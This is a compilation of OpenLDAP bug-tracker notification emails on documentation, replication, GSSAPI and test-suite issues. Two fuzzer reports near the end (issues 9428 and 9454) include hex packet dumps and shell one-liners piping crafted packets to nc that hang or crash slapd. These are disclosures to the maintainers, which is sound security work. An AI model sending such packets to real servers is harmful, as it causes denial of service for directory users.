[Bug 9256] New: The ACLs required for SASL binding are not fully documented
by openldap-its＠openldap.org
https://bugs.openldap.org/show_bug.cgi?id=9256
Bug ID: 9256
Summary: The ACLs required for SASL binding are not fully
documented
Product: OpenLDAP
Version: 2.5
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: documentation
Assignee: bugs(a)openldap.org
Reporter: kop(a)karlpinc.com
Target Milestone: ---
Created attachment 727
--> https://bugs.openldap.org/attachment.cgi?id=727&action=edit
Patch massaging the SASL binding requirement docs
While some ACL requirements for SASL binding are documented, some are not.
E.g, that olcAuthzRegexp requires =x on objectClass when direct DN mapping is
not documented. Other requirements can be reasoned out based on the existing
documentation, but this can be very difficult when unfamiliar with all the
moving parts and the places they are documented. E.g. knowing that
(objectClass=*) is the default filter, and that there's _always_ _some_ filter,
and connecting this with ACLs required to do search-based SASL mapping.
The attached patch brings all the SASL binding requirements together in one
place in the docs and makes everything explicit. The word "SASL" is included,
for those searching for that keyword.
I, Karl O. Pinc, hereby place the following modifications to OpenLDAP Software
(and only these modifications) into the public domain. Hence, these
modifications may be freely used and/or redistributed for any purpose with or
without attribution and/or other notice.
--
You are receiving this mail because:
You are on the CC list for the bug.
1 year
[Bug 9189] New: Add GSSAPI channel-bindings support
by openldap-its＠openldap.org
https://bugs.openldap.org/show_bug.cgi?id=9189
Bug ID: 9189
Summary: Add GSSAPI channel-bindings support
Product: OpenLDAP
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: libraries
Assignee: bugs(a)openldap.org
Reporter: iboukris(a)gmail.com
Target Milestone: ---
Recently MS has announce they plan to enforce channel-bindings for LDAP over
TLS (ADV190023).
To support it on client side, we need to pass "tls-endpoint" bindings (RFC
5929) to the SASL plugin, and make use of that in GSSAPI.
See also:
https://github.com/cyrusimap/cyrus-sasl/pull/601
--
You are receiving this mail because:
You are on the CC list for the bug.
1 year, 1 month
[Issue 9350] New: Expand test suite for null base
by openldap-its＠openldap.org
https://bugs.openldap.org/show_bug.cgi?id=9350
Issue ID: 9350
Summary: Expand test suite for null base
Product: OpenLDAP
Version: 2.5
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: build
Assignee: bugs(a)openldap.org
Reporter: quanah(a)openldap.org
Target Milestone: ---
Currently we have no tests that use the empty suffix (null base).
This is an entirely valid configuration setup, and there are unique challenges
and bugs that crop up with this usage.
We need to ensure we're covering this use case, particularly with syncrepl and
delta-syncrepl configurations.
--
You are receiving this mail because:
You are on the CC list for the issue.
1 year, 1 month
[Issue 9282] New: Syncrepl re-creates deleted entry
by openldap-its＠openldap.org
https://bugs.openldap.org/show_bug.cgi?id=9282
Issue ID: 9282
Summary: Syncrepl re-creates deleted entry
Product: OpenLDAP
Version: 2.4.50
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: quanah(a)openldap.org
Target Milestone: ---
Scenario:
2 node Multi-provider replication
Add database to provider A
ensure database replicates to provider B
Stop provider A
delete entry on provider B
Start provider A
Wait for provider B to reconnect to provider A
Deleted entry re-appears
--
You are receiving this mail because:
You are on the CC list for the issue.
1 year, 3 months
[Issue 9356] New: Add list of peerSIDs to consumer cookie to reduce cross traffic
by openldap-its＠openldap.org
https://bugs.openldap.org/show_bug.cgi?id=9356
Issue ID: 9356
Summary: Add list of peerSIDs to consumer cookie to reduce
cross traffic
Product: OpenLDAP
Version: 2.5
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: quanah(a)openldap.org
Target Milestone: ---
If we add a list of peersids to the cookie, each consumer can tell the
providers who else the consumers talk to and then the provider can omit sending
updates to that consumer, originating from those peers
There's some special handling needed if a connection dies
If a consumer loses one of its peer connections, and after N retries is still
not connected, it should send a new cookie to its remaining peers saying
"here's my new peer list" with the missing one removed. Likewise, if a retry
eventually connects again, it can send a new cookie again
Make that peer list reset configurable in the syncrepl config stanza. This can
help account for end admin knowledge that some links may be more or less stable
than other ones.
The idea here is that if one of your other peers can still see the missing
peer, they can start routing updates to you again
It should abandon all existing persist sessions and send a new sync search with
the new cookie to all remaining peers
For consumer side, also means adding the sid for a given provider into the
syncrepl stanza to save on having to try and discover the peer sid.
--
You are receiving this mail because:
You are on the CC list for the issue.
1 year, 4 months
[Issue 9393] New: Provider a LDAP filter validation function
by openldap-its＠openldap.org
https://bugs.openldap.org/show_bug.cgi?id=9393
Issue ID: 9393
Summary: Provider a LDAP filter validation function
Product: OpenLDAP
Version: 2.4.56
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: libraries
Assignee: bugs(a)openldap.org
Reporter: best(a)univention.de
Target Milestone: ---
In many situations I need to validate if a user submitted LDAP filter has valid
syntax.
It seems there is no official function to check this.
Could you provide one?
libraries/libldap/filter.c: ldap_pvt_put_filter() can be used as a basis.
--
My current workaround is using a unconnected ldap connection and do a search
with that filter. This yields a FILTER_ERROR (invalid filter) or a SERVER_DOWN
error (invalid filter).
See also:
https://github.com/python-ldap/python-ldap/pull/272
--
You are receiving this mail because:
You are on the CC list for the issue.
1 year, 4 months
[Issue 9463] New: back-wt: cumulative fix
by openldap-its＠openldap.org
https://bugs.openldap.org/show_bug.cgi?id=9463
Issue ID: 9463
Summary: back-wt: cumulative fix
Product: OpenLDAP
Version: 2.5
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: backends
Assignee: bugs(a)openldap.org
Reporter: hamano(a)osstech.co.jp
Target Milestone: ---
Hi,
This is cumulative fix for back-wt.
I'm sorry to making 2.5 patch has been delayed due to we're
still using 2.4.
--
You are receiving this mail because:
You are on the CC list for the issue.
1 year, 5 months
[Issue 9464] New: Test suite file conf.sh tries to sed unused items
by openldap-its＠openldap.org
https://bugs.openldap.org/show_bug.cgi?id=9464
Issue ID: 9464
Summary: Test suite file conf.sh tries to sed unused items
Product: OpenLDAP
Version: 2.5
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: quanah(a)openldap.org
Target Milestone: ---
The conf.sh script tries to sed values that are not meant for replacement but
instead are environment variables handled by run.in and defines.sh. This
should be deleted from conf.sh
--
You are receiving this mail because:
You are on the CC list for the issue.
1 year, 6 months
[Issue 9428] New: DoS due to infinite packet processing in slapd
by openldap-its＠openldap.org
https://bugs.openldap.org/show_bug.cgi?id=9428
Issue ID: 9428
Summary: DoS due to infinite packet processing in slapd
Product: OpenLDAP
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: phasip(a)gmail.com
Target Milestone: ---
Processing of a packet results in the command handling thread becomming stuck
in an infinite loop.
After sending 32 of theese slapd doesn't respond to any new queries and
consumes 100% cpu
Packet
00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1.
00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000
00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000040: 30 0
GDB backtrace
(gdb) thread 3
[Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))]
#0 0x00007ffff7eb489b in sched_yield ()
at ../sysdeps/unix/syscall-template.S:78
78 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) bt
#0 0x00007ffff7eb489b in sched_yield ()
at ../sysdeps/unix/syscall-template.S:78
#1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249
#2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized
out>)
at cancel.c:143
#3 0x00005555555b449a in fe_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:225
#4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:175
#5 0x0000555555583d09 in connection_operation
(ctx=ctx@entry=0x7fff8aad1ba0,
arg_v=0x7fff7c001160) at connection.c:1163
#6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0,
argv=0xc)
at connection.c:1314
#7 0x0000555555671080 in ldap_int_thread_pool_wrapper
(xpool=0x555555799240)
at tpool.c:1051
#8 0x00007ffff7faa609 in start_thread (arg=<optimized out>)
at pthread_create.c:477
#9 0x00007ffff7ed1293 in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Testing:
docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
for i in {1..32}; do echo -en
'\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30'
| timeout 1 nc localhost 1389 & done
--
You are receiving this mail because:
You are on the CC list for the issue.
1 year, 6 months
[Issue 9454] New: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime)
by openldap-its＠openldap.org
https://bugs.openldap.org/show_bug.cgi?id=9454
Issue ID: 9454
Summary: A malicious packet can force OpenLDAP to fail an
assertion and crash (schema_init.c:3808: checkTime)
Product: OpenLDAP
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: phasip(a)gmail.com
Target Milestone: ---
A malicious packet can force OpenLDAP to fail an assertion and crash
slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed.
Packet:
00000000: 3082 016a 0201 3063 30df df30 0030 0030 0..j..0c0..0.0.0
00000010: 0030 0030 0030 00a0 8201 3030 0030 0930 .0.0.0....00.0.0
00000020: 3030 3030 3030 3030 302e 3030 3030 3030 000000000.000000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000040: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000050: 3030 3030 3030 3030 a930 8109 322e 352e 00000000.0..2.5.
00000060: 3133 2e33 3883 2e7b 2020 2020 7468 6973 13.38..{ this
00000070: 5570 6461 7465 2020 2020 2022 2220 2c69 Update "" ,i
00000080: 7373 7545 7220 7264 6e53 6571 7565 6e63 ssuEr rdnSequenc
00000090: 653a 2222 7d30 3030 3030 3030 3030 3030 e:""}00000000000
000000a0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
000000b0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
000000c0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
000000d0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
000000e0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
000000f0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000100: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000110: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000120: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000130: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000140: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000150: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000160: 3030 3030 3030 3030 3030 3030 3030 00000000000000
GDB output:
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
601e59e1 @(#) $OpenLDAP: slapd 2.X (Feb 6 2021 08:48:29) $
@3790967905a3:/openldap/servers/slapd
601e59e1 slapd starting
[New Thread 0x7fff8b2d3700 (LWP 13)]
[New Thread 0x7fff8aad2700 (LWP 14)]
601e59e6 conn=1000 fd=11 ACCEPT from IP=127.0.0.1:42330 (IP=0.0.0.0:1389)
[New Thread 0x7fff8a2d1700 (LWP 15)]
601e59e6 get_filter: unknown filter type=48
601e59e6 get_filter: unknown filter type=48
601e59e6 get_filter: unknown filter type=48
slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )'
failed.
Thread 3 "slapd" received signal SIGABRT, Aborted.
[Switching to Thread 0x7fff8aad2700 (LWP 14)]
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007ffff7dd4859 in __GI_abort () at abort.c:79
#2 0x00007ffff7dd4729 in __assert_fail_base (
fmt=0x7ffff7f6a588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n",
assertion=0x55555568d363 "!BER_BVISEMPTY( in )",
file=0x55555568d2f3 "schema_init.c", line=3808, function=<optimized
out>)
at assert.c:92
#3 0x00007ffff7de5f36 in __GI___assert_fail (
assertion=assertion@entry=0x55555568d363 "!BER_BVISEMPTY( in )",
file=file@entry=0x55555568d2f3 "schema_init.c", line=line@entry=3808,
function=function@entry=0x5555556908f0 <__PRETTY_FUNCTION__.14047>
"checkTime") at assert.c:101
#4 0x00005555555bac61 in checkTime (in=in@entry=0x7fff8aad06f0,
out=out@entry=0x0) at schema_init.c:3808
#5 0x00005555555bcd1a in issuerAndThisUpdatePretty (syntax=0x555555784150,
in=0x7fff8aad0800, out=0x7fff8aad0770, ctx=0x7fff7c001630)
at schema_init.c:4095
#6 0x000055555559df4d in asserted_value_validate_normalize (ad=0x0,
mr=0x555555789e50, usage=usage@entry=2049, in=in@entry=0x7fff8aad0800,
out=out@entry=0x7fff8aad0828, text=text@entry=0x7fff8aad1aa0,
ctx=0x7fff7c001630) at value.c:153
#7 0x00005555555d3a94 in get_mra (op=op@entry=0x7fff7c0010f0,
ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad08c0,
--Type <RET> for more, q to quit, c to continue without paging--
text=text@entry=0x7fff8aad1aa0) at mra.c:198
#8 0x0000555555587543 in get_filter0 (op=op@entry=0x7fff7c0010f0,
ber=ber@entry=0x7fff7c000f10, filt=filt@entry=0x7fff7c0016e8,
text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:290
#9 0x0000555555587793 in get_filter_list (op=op@entry=0x7fff7c0010f0,
ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad0988,
text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:354
#10 0x000055555558731e in get_filter0 (op=op@entry=0x7fff7c0010f0,
ber=0x7fff7c000f10, filt=filt@entry=0x7fff7c001170,
text=text@entry=0x7fff8aad1aa0, depth=depth@entry=0) at filter.c:235
#11 0x00005555555880b6 in get_filter (op=op@entry=0x7fff7c0010f0,
ber=<optimized out>, filt=filt@entry=0x7fff7c001170,
text=text@entry=0x7fff8aad1aa0) at filter.c:332
#12 0x0000555555585396 in do_search (op=0x7fff7c0010f0, rs=0x7fff8aad1a80)
at search.c:127
#13 0x0000555555583d09 in connection_operation
(ctx=ctx@entry=0x7fff8aad1ba0,
arg_v=0x7fff7c0010f0) at connection.c:1163
#14 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0,
argv=0xb)
at connection.c:1314
#15 0x00005555556711e4 in ldap_int_thread_pool_wrapper
(xpool=0x555555799240)
at tpool.c:1051
#16 0x00007ffff7faa609 in start_thread (arg=<optimized out>)
at pthread_create.c:477
--Type <RET> for more, q to quit, c to continue without paging--
#17 0x00007ffff7ed1293 in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Testing:
1. Launch openldap
(Current public repo)
docker run -it --net=host bitnami/openldap
(More recent develop)
docker run -it --net=host phasip/openldap
2. Send crashing packet
echo -en
'\x30\x82\x01\x6a\x02\x01\x30\x63\x30\xdf\xdf\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\xa0\x82\x01\x30\x30\x00\x30\x09\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x2e\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\xa9\x30\x81\x09\x32\x2e\x35\x2e\x31\x33\x2e\x33\x38\x83\x2e\x7b\x20\x20\x20\x20\x74\x68\x69\x73\x55\x70\x64\x61\x74\x65\x20\x20\x20\x20\x20\x22\x22\x20\x2c\x69\x73\x73\x75\x45\x72\x20\x72\x64\x6e\x53\x65\x71\x75\x65\x6e\x63\x65\x3a\x22\x22\x7d\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30'
| nc localhost 1389
-- Note --
I had forgotten the fuzzer was running. As only one crash has been found in a
while the fuzzing machine will retire now. I will collect the corpus into
https://github.com/Phasip/openldap_fuzz
--
You are receiving this mail because:
You are on the CC list for the issue.
1 year, 6 months